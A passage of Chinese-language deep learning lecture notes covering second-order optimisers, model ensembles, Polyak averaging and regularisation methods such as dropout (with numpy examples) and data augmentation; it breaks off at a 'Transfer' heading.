ฏไปฅๆœ‰ไบŒ้˜ถ้€ผ่ฟ‘๏ผš\n\n![image-20180829213939507](assets/image-20180829213939507.png)\n\n่ฟ™้‡ŒๅŒๆ—ถ่€ƒ่™‘ไบ†ไธ€้˜ถๅ’ŒไบŒ้˜ถๅๅฏผไฟกๆฏ๏ผŒ็Žฐๅœจๆˆ‘ไปฌๅฏนๅ‡ฝๆ•ฐๅšไธ€ไธชไบŒ้˜ถๆณฐๅ‹’้€ผ่ฟ‘๏ผŒๅฐฑๆ˜ฏ็”จไธ€ไธชไบŒๆฌกๅ‡ฝๆ•ฐๆฅๅฑ€้ƒจ้€ผ่ฟ‘ๆˆ‘ไปฌ็š„ๅ‡ฝๆ•ฐใ€‚ๅ› ไธบๆ˜ฏไบŒๆฌกๅ‡ฝๆ•ฐ๏ผŒๅฏไปฅ็›ดๆŽฅ่ทณๅˆฐๆœ€ๅฐๅ€ผ็‚น๏ผŒ่ฟ™ๅฐฑๅพˆๅผ€ๅฟƒไบ†ใ€‚่ฟ™ไธชๅฐฑๆ˜ฏไบŒ้˜ถไผ˜ๅŒ–็š„ๆ€ๆƒณไบ†ใ€‚\n\n่ฟ›ไธ€ๆญฅๆŽจๅนฟ่ฟ™ไธชๆƒณๆณ•๏ผŒไบŽๆ˜ฏๅฐฑไผšๅพ—ๅˆฐไธ€ไธชๅซๅš Newton step๏ผˆ็‰›้กฟๆญฅ้•ฟ๏ผ‰็š„ไธœ่ฅฟใ€‚่ฎก็ฎ—ไธ‹้ข่ฟ™ไธช Hessian matrix๏ผˆๆตทๆฃฎ็Ÿฉ้˜ต๏ผ‰๏ผŒๅณไบŒ้˜ถๅๅฏผ็Ÿฉ้˜ต๏ผŒๆŽฅ็€ๆฑ‚่ฟ™ไธชๆตทๆฃฎ็Ÿฉ้˜ต็š„้€†๏ผŒไปฅไพฟ็›ดๆŽฅ่ตฐๅˆฐๅฏนไฝ ็š„ๅ‡ฝๆ•ฐ็”จไบŒๆฌก้€ผ่ฟ‘ๅŽ็š„ๆœ€ๅฐๅ€ผ็š„ๅœฐๆ–นใ€‚\n\n![image-20180829214509670](assets/image-20180829214509670.png)\n\n่ฟ™ไธชๅŽŸๅง‹็‰ˆๆœฌ็š„็‰›้กฟๆณ•ๅธฆๆฅ็š„ๅฅฝๅค„๏ผŒ้ฆ–ๅ…ˆๅฐฑๆ˜ฏๆฒกๆœ‰ๅญฆไน ็Ž‡่ฟ™ไธช่ถ…ๅ‚ๆ•ฐใ€‚ไธ่ฟ‡ๅพˆไธๅฅฝ็š„ๅœฐๆ–นๆ˜ฏ๏ผŒHessian ็Ÿฉ้˜ตๆœ‰็”จ O(N^2) ็š„ๅ…ƒ็ด ๏ผŒๅฏนๅฎƒๆฑ‚้€†็š„่ฏ๏ผŒๅ†…ๅญ˜ไผš็–ฏๆŽ‰ใ€‚ๆ‰€ไปฅๅฐฑๆœ‰ไบ†ไธ‹้ข็š„ quasi-Newton methods๏ผˆๆ‹Ÿ็‰›้กฟๆณ•๏ผ‰ๆฅไปฃๆ›ฟ็‰›้กฟๆณ•๏ผŒ่€Œไธๆ˜ฏ็›ดๆŽฅๅœฐๅŽปๆฑ‚ๅฎŒๆ•ด็š„ Hessian ็Ÿฉ้˜ต็š„้€†๏ผŒ่€Œๆ˜ฏๅŽป้€ผ่ฟ‘่ฟ™ไธช็Ÿฉ้˜ต็š„้€†ใ€‚ๅธธ่ง็š„ๆ˜ฏไฝŽ้˜ถ้€ผ่ฟ‘ใ€‚\n\n![image-20180829214921546](assets/image-20180829214921546.png)\n\n- L-BFGS ๅฐฑๆ˜ฏไธ€ไธชไบŒ้˜ถไผ˜ๅŒ–ๅ™จ๏ผŒๅฎƒๆ˜ฏไบŒ้˜ถ้€ผ่ฟ‘๏ผŒ็”จ Hessian ๆฅ้€ผ่ฟ‘ใ€‚ๅฎž้™…ไธญไฝ ๅฏ่ƒฝไผš็œ‹ๅˆฐๅพˆๅคšๆทฑๅบฆๅญฆไน ็š„้—ฎ้ข˜ๅนถไธ้€‚ๅบ”่ฟ™ไธช็ฎ—ๆณ•๏ผŒๅ› ไธบ่ฟ™ไบ›ไบŒ้˜ถ้€ผ่ฟ‘็š„ๆ–นๆณ•ๅฏน้šๆœบ็š„ๆƒ…ๅ†ตๅค„็†็š„ๅนถไธๆ˜ฏๅพˆๅคšๅพˆๅฅฝ๏ผŒ่€Œไธ”ๅœจ้žๅ‡ธ้—ฎ้ข˜ไธŠ่กจ็Žฐไธๆ˜ฏๅพˆๅฅฝใ€‚\n\n![image-20180829214934320](assets/image-20180829214934320.png)\n\n\n\n- > ๆ‰€ไปฅ่ฏดใ€‚ใ€‚ใ€‚ๆ€ปไน‹ๅ‘ขใ€‚ใ€‚ใ€‚\n >\n > - **Adam** is a good default choice in most cases\n > - If you can afford to do full batch updates then try out **L-BFGS** (and don't forget to disable all sources of noise)\n\n\n\n\n\n\n\n## Beyond Training Error\n\nไธŠ่ฟฐ็š„ๅ†…ๅฎน๏ผŒ้ƒฝๆ˜ฏ็›ฎๆ ‡่ฆๅ‡ๅฐ่ฎญ็ปƒ็š„้”™่ฏฏ็Ž‡ใ€‚ไธ่ฟ‡ไบ‹ๅฎžไธŠ๏ผŒๆˆ‘ไปฌๅนถไธ็œŸ็š„ๅพˆๅœจไนŽ่ฎญ็ปƒ่ฏฏๅทฎๆ˜ฏๆ€Žๆ ท็š„๏ผŒ่€Œๆ˜ฏๅœจๆฒกๆœ‰่ง่ฟ‡็š„ๆ•ฐๆฎไธŠ็š„่กจ็Žฐใ€‚\n\n![image-20180829215935248](assets/image-20180829215935248.png)\n\n### Early Stopping (new topic in Spring 2018)\n\n![image-20180829220200510](assets/image-20180829220200510.png)\n\n\n\n\n\n\n\n### Model Ensembles\n\n- Way 1\n\nๆจกๅž‹้›†ๆˆๅœจๆœบๅ™จๅญฆไน ็š„ๅพˆๅคš้ข†ๅŸŸๅบ”็”จๅนฟๆณ›ใ€‚็‚นๅญๅ…ถๅฎžๅพˆ็ฎ€ๅ•๏ผŒๆฏ”่ตทไฝฟ็”จไธ€ไธชๆจกๅž‹๏ผŒๆˆ‘ไปฌ้€‰ๆ‹ฉไปŽไธๅŒ็š„้šๆœบๅˆๅง‹ๅ€ผไธŠ่ฎญ็ปƒ10ไธชไธๅŒ็š„ๆจกๅž‹๏ผŒๅˆฐไบ†ๆต‹่ฏ•ๆ—ถ๏ผŒๆˆ‘ไปฌๅฐฑไผšๅœจ10ไธชๆจกๅž‹ไธŠ่ฟ่กŒๆต‹่ฏ•ๆ•ฐๆฎ๏ผŒ็„ถๅŽๅนณๅ‡10ไธชๆจกๅž‹็š„้ข„ๆต‹็ป“ๆžœใ€‚ๆŠŠ่ฟ™ไบ›ๅคšไธชๆจกๅž‹ๅŠ ๅˆฐไธ€่ตท๏ผŒ่ƒฝๅคŸ็ผ“่งฃไธ€็‚น่ฟ‡ๆ‹Ÿๅˆ๏ผŒไปŽ่€Œๆ้ซ˜ไธ€ไบ›ๆ€ง่ƒฝ๏ผŒ้€šๅธธไผšๆ้ซ˜ๅ‡ ไธช็™พๅˆ†็‚น๏ผŒ่ฟ™ไธๆ˜ฏๅพˆๅทจๅคง็š„ๆๅ‡๏ผŒไฝ†ๆ˜ฏ็กฎๅฎžๅพˆๅ›บๅฎš็š„ๆๅ‡ใ€‚\n\n![image-20180829221207076](assets/image-20180829221207076.png)\n\n\n\n- Way 2\n\nๆœ‰ๆ—ถๅ€™ๅฏไปฅไธ็”จ็‹ฌ็ซ‹ๅœฐ่ฎญ็ปƒไธๅŒ็š„ๆจกๅž‹๏ผŒไฝ ๅฏไปฅๅœจ่ฎญ็ปƒ็š„่ฟ‡็จ‹ไธญไฟ็•™ๅคšไธชๆจกๅž‹็š„ๅฟซ็…ง๏ผŒ็„ถๅŽ็”จ่ฟ™ไบ›ๆจกๅž‹ๆฅๅš้›†ๆˆๅญฆไน ใ€‚็„ถๅŽๅ†ๆต‹่ฏ•้˜ถๆฎต๏ผŒไฝ ไป็„ถ้œ€่ฆๆŠŠ่ฟ™ไบ›ๅคšไธชๅฟซ็…ง็š„้ข„ๆต‹็ป“ๆžœๅšๅนณๅ‡๏ผŒไฝ†ๆ˜ฏไฝ ๅฏไปฅๅœจ่ฎญ็ปƒ็š„่ฟ‡็จ‹ไธญๆ”ถ้›†่ฟ™ไบ›ๅฟซ็…งใ€‚ๅฏไปฅ็”จไธ€ไธชโ€œ็–ฏ็‹‚โ€็š„ๅญฆไน ็Ž‡่ฎกๅˆ’๏ผŒๅ…ถๅผ€ๅง‹ๆ—ถๅพˆๆ…ข๏ผŒ็„ถๅŽ้žๅธธๅฟซ๏ผŒๆŽฅ็€ๅˆๅพˆๆ…ข๏ผŒๅ†็„ถๅŽๅˆ็‰นๅˆซๅฟซใ€‚่ฟ™ๆ ท็š„ๅญฆไน ็Ž‡ไผšไฝฟๅพ—่ฎญ็ปƒ่ฟ‡็จ‹ไธญๆจกๅž‹ไผšๆ”ถๆ•›ๅˆฐ็›ฎๆ ‡ๅ‡ฝๆ•ฐไธๅŒ็š„ๅŒบๅŸŸ๏ผŒไฝ†ๆ˜ฏ็ป“ๆžœไป็„ถ่ฟ˜ไธ้”™ใ€‚ๅฆ‚ๆžœไฝ ๅฏน่ฟ™ไบ›ไธๅŒ็š„ๅฟซ็…งๅš้›†ๆˆไปฅๅŽ๏ผŒๅฐฑ่ƒฝๅคŸๅคงๅน…ๆ้ซ˜ๆœ€ๅŽ็š„ๆ€ง่ƒฝ๏ผŒ่™ฝ็„ถไฝ ๅช่ฟ›่กŒไบ†ไธ€ๆฌก่ฎญ็ปƒใ€‚ \n\n![image-20180829222313793](assets/image-20180829222313793.png)\n\n\n\n> ๅฐๅ“ฅๅœจๆญคๅ›ž็ญ”ไบ†ไธ€ไธช้—ฎ้ข˜่ฐˆๅˆฐ๏ผšๆˆ‘ไปฌ็œŸๆญฃๅœจๆ„็š„ๅนถไธๆ˜ฏ่ฎญ็ปƒ้›†ๆœ‰ๅคšไนˆๅฅฝ็š„่กจ็Žฐ๏ผŒไนŸไธๆ˜ฏ่ฎญ็ปƒ้›†ไธŽๆต‹่ฏ•้›†ไน‹้—ด็š„ gap ่ฆๅฐ๏ผŒ่€Œๆ˜ฏ**้ชŒ่ฏ้›†ไธŠๅพ—ๅˆฐๆœ€ไผ˜็š„็ป“ๆžœใ€‚**่‡ณไบŽ๏ผŒไน‹ๅ‰่ฎฒไบ†่ฟ™ไนˆๅคš๏ผŒๅฐฑๆ˜ฏๅœจๅ‘Š่ฏ‰ๆˆ‘ไปฌๅฆ‚ไฝ•้€š่ฟ‡ๆจกๅž‹็š„่กจ็Žฐ๏ผŒ็ป™ๆˆ‘ไปฌ่ƒฝๅคŸ่ฟ›ไธ€ๆญฅๅพ—ๅˆฐๆœ€ไผ˜ๆจกๅž‹็š„ๆš—็คบใ€‚\n\n้กบ้“ไธ€ๆ็š„ๆ˜ฏ๏ผš้›†ๆˆๆจกๅž‹ไธญ็š„ๅ„็งๆจกๅž‹ไธญ๏ผŒไป–ไปฌ็š„่ถ…ๅ‚ๆ•ฐไธ€่ˆฌ้ƒฝไธๅคชไธ€ๆ ทใ€‚\n\n\n\n- Way 3\n\nๅฆๅค–ไธ€ไธชๅฏ่ƒฝไผš็”จๅˆฐ็š„็š„ๅฐๆŠ€ๅทงๆ˜ฏ๏ผšๅœจ่ฎญ็ปƒๆจกๅž‹็š„ๆ—ถๅ€™๏ผŒๅฏนไธๅŒๆ—ถๅˆป็š„ๆฏไธชๆจกๅž‹ๅ‚ๆ•ฐ๏ผŒๆฑ‚ๆŒ‡ๆ•ฐ่กฐๅ‡ๅนณๅ‡ๅ€ผใ€‚ไปŽ่€Œๅพ—ๅˆฐ็ฝ‘็ปœ่ฎญ็ปƒไธญไธ€ไธชๆฏ”่พƒๅนณๆป‘็š„้›†ๆˆๆจกๅž‹๏ผŒไน‹ๅŽไฝฟ็”จ่ฟ™ไบ›ๅนณๆป‘่กฐๅ‡็š„ๅนณๅ‡ๅŽ็š„ๆจกๅž‹ๅ‚ๆ•ฐ๏ผŒ่€Œไธๆ˜ฏๆˆช่‡ณๅœจๆŸไธ€ๆ—ถๅˆป็š„ๆจกๅž‹ๅ‚ๆ•ฐ๏ผŒ่ฟ™ไธชๆ–นๆณ•ๅซๅš **Polyak ๅนณๅ‡**ใ€‚ๆœ‰ๆ—ถๅ€™่ƒฝๆœ‰ไธ€็‚นๆ•ˆๆžœ๏ผŒไฝ†ๅนถไธๅธธ่งใ€‚\n\n![image-20180829224044792](assets/image-20180829224044792.png)\n\n\n\n\n\n\n\n## Regularization\n\nๅˆšๅˆš็š„ๆจกๅž‹้›†ๆˆๆ˜ฏ้€š่ฟ‡ๅœจๆต‹่ฏ•้˜ถๆฎตไธญ่€ƒ่™‘ๅคšไธชๆจกๅž‹็š„ๆ‰‹ๆฎต๏ผŒไปŽ่€Œๆ้ซ˜ๆจกๅž‹่กจ็Žฐ๏ผŒ้™ไฝŽ่ฟ‡ๆ‹Ÿๅˆใ€‚\n\n้‚ฃไนˆๅฆ‚ๆžœๅชๆœ‰ๅ•ไธ€ๆจกๅž‹๏ผŒๅฆ‚ไฝ•ๆ้ซ˜ๆจกๅž‹่กจ็Žฐ๏ผŒ้™ไฝŽ่ฟ‡ๆ‹Ÿๅˆๅ‘ข๏ผŸ้‚ฃๅฐฑๆ˜ฏ **Regularization**!\n\n\n\n### Add term to loss\n\n![image-20180829224943042](assets/image-20180829224943042.png)\n\n\n\n### Dropout\n\n![image-20180829225624531](assets/image-20180829225624531.png)\n\n- Q๏ผšๅœจๅ“ชไบ›ๅฑ‚ไฝฟ็”จ dropout๏ผŸ\n - ไธ€่ˆฌๆ˜ฏๅœจๅ…จ่ฟžๆŽฅๅฑ‚ใ€‚ไฝ†ๆœ‰ๆ—ถๅ€™ไฝ ๅœจๅท็งฏๅฑ‚ไนŸ่ƒฝ็œ‹ๅˆฐใ€‚ๅฝ“ไฝ ไฝฟ็”จๅท็งฏๅฑ‚ๆ—ถ๏ผŒๆœ‰ๆ—ถๅ€™ไฝ ๅฏ่ƒฝๅนถไธๆ˜ฏ้šๆœบๆŠŠๆŸไธช็ฅž็ปๅ…ƒไธŠๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„็ป“ๆžœ็ฝฎไธบ0๏ผŒ่€Œๆ˜ฏ้šๆœบๆŠŠๆญฃ่€Œ่ฟ‡็‰นๅพๆ˜ ๅฐ„็ฝฎไธบ0ใ€‚ๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœ้‡Œ๏ผŒๆœ‰ไธ€ไธช็ปดๅบฆ่กจ็คบ้€š้“๏ผŒไฝ ๅฏ่ƒฝ่ฆๆŠŠๆŸๅ‡ ๆก้€š้“ๆ•ดไธช็ฝฎ้›ถ๏ผŒ่€Œไธๆ˜ฏๆŸๅ‡ ไธชๅ…ƒ็ด ใ€‚\n\n- ไปฃ็ ็š„ๅฎž็Žฐๅนถไธๅคๆ‚๏ผš๏ผˆ่ฟ˜ไธๅฎŒๆ•ด๏ผŒไธ‹ๆ–‡ไผš่ฟ›ไธ€ๆญฅ่ฏดๆ˜Ž๏ผ‰\n\n ```python\n p = 0.5 # probability of keeping a unit active. higher = less dropout\n \n def train_step(X):\n \"\"\"X contain the data\"\"\"\n \n # forward pass for example 3-layer neural network\n H1 = np.maximum(0, np.dot(W1, X) + b1)\n U1 = np.random.rand(*H1.shape) < p # first dropout mask\n H1 *= U1 # drop!\n H2 = np.maximum(0, np.dot(W2, H1) + b2)\n U2 = np.random.rand(*H2.shape) < p # second dropout mask\n H2 *= U2 # drop!\n out = np.dot(W3, H2) + b3\n \n # backward pass: compute gradients... (not shown)\n # perform parameter update... (not shown)\n ```\n\n- ่งฃ้‡Šไธ€๏ผˆๅ‹‰ๅผบ๏ผ‰\n\n - dropout ้ฟๅ…ไบ†็‰นๅพ้—ด็š„็›ธไบ’้€‚ๅบ”ใ€‚ๅ‡่ฎพๆˆ‘ไปฌ่ฆๅˆ†็ฑปๅˆคๆ–ญๆ˜ฏไธๆ˜ฏ็Œซ๏ผŒๅฏ่ƒฝๅœจ็ฝ‘็ปœ้‡Œไธ€ไธช็ฅž็ปๅ…ƒๅญฆๅˆฐไบ†โ€œๆœ‰ไธ€ๅช่€ณๆœตโ€๏ผŒไธ€ไธชๅญฆๅˆฐไบ†โ€œๅฐพๅทดโ€๏ผŒไธ€ไธชๅญฆๅˆฐไบ†โ€œ่พ“ๅ…ฅๅ›พๅƒๆœ‰ๆฏ›โ€๏ผŒ็„ถๅŽ่ฟ™ไบ›็‰นๅพ่ขซ็ป„ๅˆๅˆฐไธ€่ตทๆฅๅˆคๆ–ญๆ˜ฏๅฆๆœ‰็Œซใ€‚ไฝ†็ŽฐๅœจๅŠ ๅ…ฅ dropout ๅŽๅˆคๆ–ญๆ˜ฏไธๆ˜ฏ็Œซๆ—ถ๏ผŒ็ฝ‘็ปœๅฐฑไธ่ƒฝไพ่ต–่ฟ™ไบ›็‰นๅพ็ป„ๅˆๅœจไธ€่ตท็ป™ๅ‡บ็š„็ป“ๆžœ๏ผŒ่€Œๆ˜ฏ่ฆ้€š่ฟ‡ไธๅŒ็š„้›ถๆ•ฃ็š„็‰นๅพๆฅๅˆคๆ–ญ๏ผŒ่ฟ™ไนŸ่ฎธๆŸ็ง็จ‹ๅบฆไธŠๆŠ‘ๅˆถไบ†่ฟ‡ๆ‹Ÿๅˆใ€‚\n - Forces the network to have a redundant representation; Prevents co-adaptation of features.\n\n- ่งฃ้‡ŠไบŒ\n\n - ่ฟ™ๆ˜ฏๅœจๅ•ไธ€ๆจกๅž‹ไธญ่ฟ›่กŒ็š„้›†ๆˆๅญฆไน ใ€‚ๅฆ‚ๆžœไฝ ไปฌ่ง‚ๅฏŸๅทฆๅ›พ๏ผŒๅœจ dropout ไน‹ๅŽ๏ผŒๆˆ‘ไปฌๆ˜ฏๅœจไธ€ไธชๅญ็ฝ‘็ปœไธญ็”จๆ‰€ๆœ‰็ฅž็ปๅ…ƒ็š„ๅญ้›†่ฟ›่กŒ่ฟ็ฎ—๏ผŒๆฏไธ€็งๅฏ่ƒฝ็š„ dropout ๆ–นๅผ้ƒฝๅฏไปฅไบง็”Ÿไธ€ไธชไธๅŒ็š„ๅญ็ฝ‘็ปœใ€‚ๆ‰€ไปฅ๏ผŒdropout ๅƒๆ˜ฏๅŒๆ—ถๅฏนไธ€็พคๅ…ฑไบซๅ‚ๆ•ฐ็š„็ฝ‘็ปœ่ฟ›่กŒ้›†ๆˆๅญฆไน ใ€‚้กบไพฟ่ฏดไธ€ไธ‹๏ผŒๅ› ไธบ dropout ็š„ๅฏ่ƒฝๆ€ง้š็ฅž็ปๅ…ƒไธชๆ•ฐๅ‘ˆๆŒ‡ๆ•ฐๅ€ๅขž้•ฟ๏ผŒไฝ ไธๅฏ่ƒฝ็ฉทไธพๆฏ็งๆƒ…ๅ†ต๏ผŒ่ฟ™ๅฏไปฅ็œ‹ๅšๆ˜ฏไธ€ไธช่ถ…็บงๆ— ๆฏ”ๅทจๅคง็š„็ฝ‘็ปœ้›†ๅˆๅœจๅŒๆ—ถ่ขซ่ฎญ็ปƒใ€‚\n - Dropout is training a large ensemble of models (that share parameters). Each binary mask is one model.\n - An FC layer with 4096 units has $2^{4096}$ ~ $10^{1233}$ possible masks! Only ~ $10^{82}$ atoms in the universe...\n\n- ๆต‹่ฏ•็š„ๆ—ถๅ€™๏ผŒๅฆ‚ไฝ•ๅค„็†๏ผŸๅฆ‚ไฝ•ๆถˆ้™ค dropout ๅธฆๆฅ็š„้šๆœบๆ€ง๏ผŸ\n\n - ๆˆ‘ไปฌๅฏไปฅๅนณๅ‡่ฟ™ไธช้šๆœบๆ€ง๏ผŒไนŸๅฐฑๆ˜ฏ้œ€่ฆ้€š่ฟ‡ไธ€ไบ›็งฏๅˆ†ๆฅ่พน็ผ˜ๅŒ–้šๆœบๆ€งใ€‚\n $$\n y = f(x) = E_z[f(x,z)]=\\int p(z)f(x,z)dz\n $$\n\n - ไฝ†ๅœจๅฎž่ทตไธญ๏ผŒ่ฟ™ไธช็งฏๅˆ†ๆ˜ฏๅฎŒๅ…จ้šพไปฅๅค„็†็š„๏ผŒๆˆ‘ไปฌไธ็Ÿฅ้“ๆ€Žๆ ทๅฏน่ฟ™่ฟ›่กŒๆฑ‚่งฃ๏ผŒไฝ ไผšไธ€่„ธๆ‡ต้€ผใ€‚\n\n - ๆœ‰็ง้€š่ฟ‡้‡‡ๆ ทๆฅ้€ผ่ฟ‘่ฟ™ไธช็งฏๅˆ†็š„ๅŠžๆณ•ใ€‚ไฝ ๅฏไปฅๅฏน z ็š„ๅคšๆฌกๅ–ๆ ท๏ผŒ็„ถๅŽๅœจๆต‹่ฏ•็š„ๆ—ถๅ€™ๆŠŠๅฎƒไปฌๅนณๅ‡ๅŒ–ใ€‚ไฝ†ๆ˜ฏ่ฟ™ไป็„ถไผšๅผ•ๅ…ฅไธ€ไบ›้šๆœบๆ€ง๏ผŒ่ฟ™ไธๅฅฝใ€‚\n\n - ่ฟ˜ๅฅฝ๏ผŒๆˆ‘ไปฌๅฏไปฅๅšไธ€ไธช็ฎ€ๆ˜“ๅœฐๅฑ€้ƒจ้€ผ่ฟ‘่ฟ™ไธช็งฏๅˆ†๏ผš\n\n ![](https://i.loli.net/2018/08/30/5b875ae75c1f6.png)\n\n ๅฏ่ง๏ผŒๆต‹่ฏ•็š„ๆ—ถๅ€™ๅช่ฆ่พ“ๅ‡บๅฑ‚็š„่พ“ๅ‡บไน˜ไปฅ dropout ็š„ๆฆ‚็Ž‡ๅ€ผๅฐฑๅฏไปฅไบ†ใ€‚\n\n - ๆ›ดๅธธ่ง็š„ๆ‰‹ๆฎตๆ˜ฏ inverted dropoutใ€‚ๆต‹่ฏ•็š„ๆ—ถๅ€™๏ผŒไฝ ๅฏ่ƒฝๆ›ดๅ…ณๅฟƒๆ•ˆ็Ž‡ใ€‚ๆ‰€ไปฅๆต‹่ฏ•็š„ๆ—ถๅ€™๏ผŒไธ็”จๅŠจ๏ผŒ่ฎฉ่ฎญ็ปƒ็š„ๆ—ถๅ€™้™คไปฅๆฆ‚็Ž‡ๅ€ผ p ๅฐฑๅฅฝ๏ผŒไธ‹้ขๅฐฑๆ˜ฏ็œŸๆญฃๅฎŒๆ•ด็‰ˆ็š„ dropout๏ผš\n\n ```python\n p = 0.5 # probability of keeping a unit active. higher = less dropout\n \n def train_step(X):\n # forward pass for example 3-layer neural network\n H1 = np.maximum(0, np.dot(W1, X) + b1)\n U1 = (np.random.rand(*H1.shape) < p) / p # first dropout mask. Notice /p !\n H1 *= U1 # drop!\n H2 = np.maximum(0, np.dot(W2, H1) + b2)\n U2 = (np.random.rand(*H2.shape) < p) / p # second dropout mask. Notice /p !\n H2 *= U2 # drop!\n out = np.dot(W3, H2) + b3\n \n # backward pass: compute gradients... (not shown)\n # perform parameter update... (not shown)\n ```\n\n- Q๏ผšdropout ไผšๅฏน่ฎญ็ปƒๆ—ถ็š„ๅ‚ๆ•ฐๆขฏๅบฆๆ›ดๆ–ฐๆœ‰ไป€ไนˆๅฝฑๅ“๏ผŸ\n - ้€šๅธธ่ฎญ็ปƒ้œ€่ฆๆ›ด้•ฟ็š„ๆ—ถ้—ด๏ผŒๅ› ไธบๅœจๆฏไธ€ๆญฅ๏ผŒไฝ ๅชๆ˜ฏๆ›ดๆ–ฐ็ฝ‘็ปœ็š„ไธ€ไบ›ๅญ้ƒจๅˆ†ใ€‚ไฝ†ๆ˜ฏๆ”ถๆ•›ๅŽ๏ผŒๆจกๅž‹็š„้ฒๆฃ’ๆ€งๆ›ดๅฅฝใ€‚\n\n\n\n### Regularization๏ผšA common pattern\n\n> **Training**๏ผšAdd some kind of randomness\n> $$\n> y = f_W(x,z)\n> $$\n> **Testing**๏ผšAverage out randomness (sometimes approximate)\n> $$\n> y = f(x) = E_z[f(x,z)] = \\inf p(z)f(x,z)dz\n> $$\n>\n\n**ๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผŒ้ƒฝ้šๆœบๅผ•ๅ…ฅๆŸ็ง้šๆœบๆ€งๆˆ–่€…ๅ™ชๅฃฐ๏ผŒไฝ†ๆ˜ฏๅˆๅœจๆต‹่ฏ•็š„ๆ—ถๅ€™ๆŠตๆถˆๆŽ‰ๅฎƒไปฌใ€‚**\n\nๅฎž้™…ไธŠ๏ผŒๅฝ“ไฝ ไฝฟ็”จ batch normalization ๆฅ่ฎญ็ปƒ็ฅž็ป็ฝ‘็ปœ็š„ๆ—ถๅ€™๏ผŒๆœ‰ๆ—ถไฝ ไธ€็‚นๅ„ฟ้ƒฝไธไผšไฝฟ็”จ dropout๏ผŒไป…ไป…ๆ˜ฏ batch normalization ็ป™ไฝ ็š„็ฝ‘็ปœๅขžๅŠ ไบ†่ถณๅคŸ็š„ๆญฃๅˆ™ๅŒ–ๆ•ˆๆžœใ€‚ไฝ† dropout ๆŸ็ง็จ‹ๅบฆไธŠๆ›ดๅฅฝ๏ผŒๆ˜ฏๅ› ไธบไฝ ๅฎž้™…ไธŠๅฏไปฅ้€š่ฟ‡ๆ”นๅ˜ๅ‚ๆ•ฐ p ่ฐƒๆ•ดๆญฃๅˆ™ๅŒ–็š„ๅŠ›ๅบฆ๏ผŒไฝ†ๆ˜ฏๅœจ batch normalization ไธญๅนถๆฒกๆœ‰่ฟ™็งๆŽงๅˆถๆœบๅˆถใ€‚\n\nๅฆไธ€็ง็ฌฆๅˆ่ฟ™็ง่Œƒๅผ็š„็ญ–็•ฅๅฐฑๆ˜ฏ**ๆ•ฐๆฎๅขžๅผบ**็š„ๆƒณๆณ•ใ€‚ๆฏ”ๅฆ‚่ฏด๏ผš\n\n1. Random crops and scales\n\n ![](https://i.loli.net/2018/08/30/5b8761c326ac8.png)\n\n2. Color Jitter\n\n ![](https://i.loli.net/2018/08/30/5b87621e83ef0.png)\n\n3. Random mix/combinations of :\n\n - translation\n - rotation\n - stretching\n - shearing\n - lens distortions, ... (go crazy)\n\nๆ€ป็š„ๆฅ่ฏด๏ผŒๆ•ฐๆฎๅขžๅผบๅฐฑๆ˜ฏ่ฎฉ่ฟ™ไบ›้šๆœบ่ฝฌๆขๅบ”็”จไบŽไฝ ็š„่พ“ๅ…ฅๆ•ฐๆฎ๏ผŒ่ฟ™็งๆ–นๅผๅฏน็ฝ‘็ปœๆœ‰ๆญฃๅˆ™ๅŒ–ๆ•ˆๆžœใ€‚ๅ› ไธบๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผŒไฝ ๅˆๅขžๅŠ ไบ†ๆŸ็ง้šๆœบๆ€ง๏ผŒ็„ถๅŽๅ†ๆต‹่ฏ•็š„ๆ—ถๅ€™ๅฐ†ๅฎƒไปฌๆทกๅŒ–ใ€‚\n\n\n\n- ๆ€ป็ป“ไธ€ไธ‹\n\n > **Trainning**๏ผšadd random noise\n >\n > **Testing**๏ผšMarginalize over the noise\n >\n > \n >\n > **Examples:**\n >\n > - Dropout\n > - Batch Normalization\n > - Data Augmentation\n > - DropConnect๏ผˆ้šๆœบๅฐ†ๆƒ้‡็Ÿฉ้˜ต็š„ไธ€ไบ›ๅ€ผ็ฝฎไธบ0๏ผ‰\n > - Wan et al, โ€œRegularization of Neural Networks using DropConnectโ€, ICML 2013\n > - Fractional Max Pooling\n > - Graham, โ€œFractional Max Poolingโ€, arXiv 2014\n > - Stochastic Depth๏ผˆ้šๆœบไธขๅผƒไธ€ไบ›ๅฑ‚๏ผ‰\n > - Huang et al, โ€œDeep Networks with Stochastic Depthโ€, ECCV 2016\n\n- Q๏ผš็ปๅธธไผš็”จ่ถ…่ฟ‡1ไธช็š„ๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ไนˆ๏ผŸ\n - ้€šๅธธไฝฟ็”จ batch normalizationใ€‚ๅฎƒๆ˜ฏไธ€ไธช็Žฐๅœจๅคงๅคšๆ•ฐ็ฝ‘็ปœไฝฟ็”จ็š„ๆ–นๆณ•๏ผŒๅ› ไธบๅฎƒ็š„็กฎๅธฎๅŠฉๆ”ถๆ•›๏ผŒ็‰นๅˆซๆ˜ฏ้žๅธธๆทฑ็š„็ฝ‘็ปœ๏ผŒๅคงๅคšๆ•ฐๆƒ…ๅ†ตไธ‹๏ผŒๅ•็‹ฌไฝฟ็”จ batch normalization ๅฐฑๅคŸไบ†ใ€‚ๆœ‰ๆ—ถๅฝ“ไฝ ๅ‘็Žฐ็ฝ‘็ปœ่ฟ‡ๆ‹Ÿๅˆ๏ผŒๅฆ‚ๆžœ batch normalization ๅ•็‹ฌไฝฟ็”จไธๅคชๅคŸ๏ผŒไฝ ๅฏไปฅๅขžๅŠ  dropout ๆˆ–ไธ€ไบ›ๅ…ถไป–็š„ไธœ่ฅฟใ€‚ไฝ ไธ€่ˆฌไธ่ฆ็›ฒ็›ฎๅœฐไบคๅ‰้ชŒ่ฏ่ฟ™ไบ›ๆ–นๆณ•๏ผŒ่€Œๆ˜ฏๆœ‰็š„ๆ”พ็Ÿข๏ผŒๅœจ็ฝ‘็ปœ่ฟ‡ๆ‹Ÿๅˆๆ—ถ๏ผŒๆŠŠๅฎƒไปฌๅŠ ่ฟ›ๅŽปใ€‚\n\n\n\n## Transfer 